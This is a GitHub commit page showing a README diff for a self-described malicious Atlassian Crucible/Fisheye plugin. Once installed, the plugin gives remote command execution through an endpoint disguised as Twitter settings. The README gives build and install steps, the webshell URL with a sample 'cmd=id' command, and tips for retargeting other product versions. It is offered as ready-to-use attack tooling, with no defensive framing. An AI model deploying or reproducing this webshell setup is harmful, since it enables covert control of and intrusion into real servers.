Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
UgniusV authored Dec 25, 2022
1 parent 3d2202e commit 03da1a5
Showing 1 changed file with 12 additions and 4 deletions.
16 changes: 12 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
## Summary
A malicious plugin for Atlassian Crucible/Fisheye that when installed gives command execution via `/plugins/servlet/twitter-settings?cmd=id` endpoint


#### Usage
## Usage
1. Install Atlassian Plugin SDK. E.g. for MacOS:
```bash
brew tap atlassian/tap
Expand All @@ -19,5 +19,13 @@ cd fecru-webshell-plugin
atlas-package
```

4. Navigate to http://crucible:8060/plugins/servlet/upm?source=side_nav_manage_addons & install the JAR
5. Enjoy your webshell at: http://crucible:8060/plugins/servlet/twitter-settings?cmd=id
4. Generated JAR is now placed at `./target/fecrutwitter-1.0.0-SNAPSHOT.jar`
5. Navigate to http://crucible:8060/plugins/servlet/upm?source=side_nav_manage_addons & install the JAR
6. Enjoy your webshell at: http://crucible:8060/plugins/servlet/twitter-settings?cmd=id

### Important note
Currently this plugin is designed to work with Crucible/Fisheye `4.8.11`. If you would like to install it on another version, please change the versions & build numbers accordingly inside `pom.xml`
```xml
<fecru.version>4.8.11-20221216114657</fecru.version>
<fecru.data.version>4.8.11-20221216114657</fecru.data.version>
```

0 comments on commit 03da1a5

Please sign in to comment.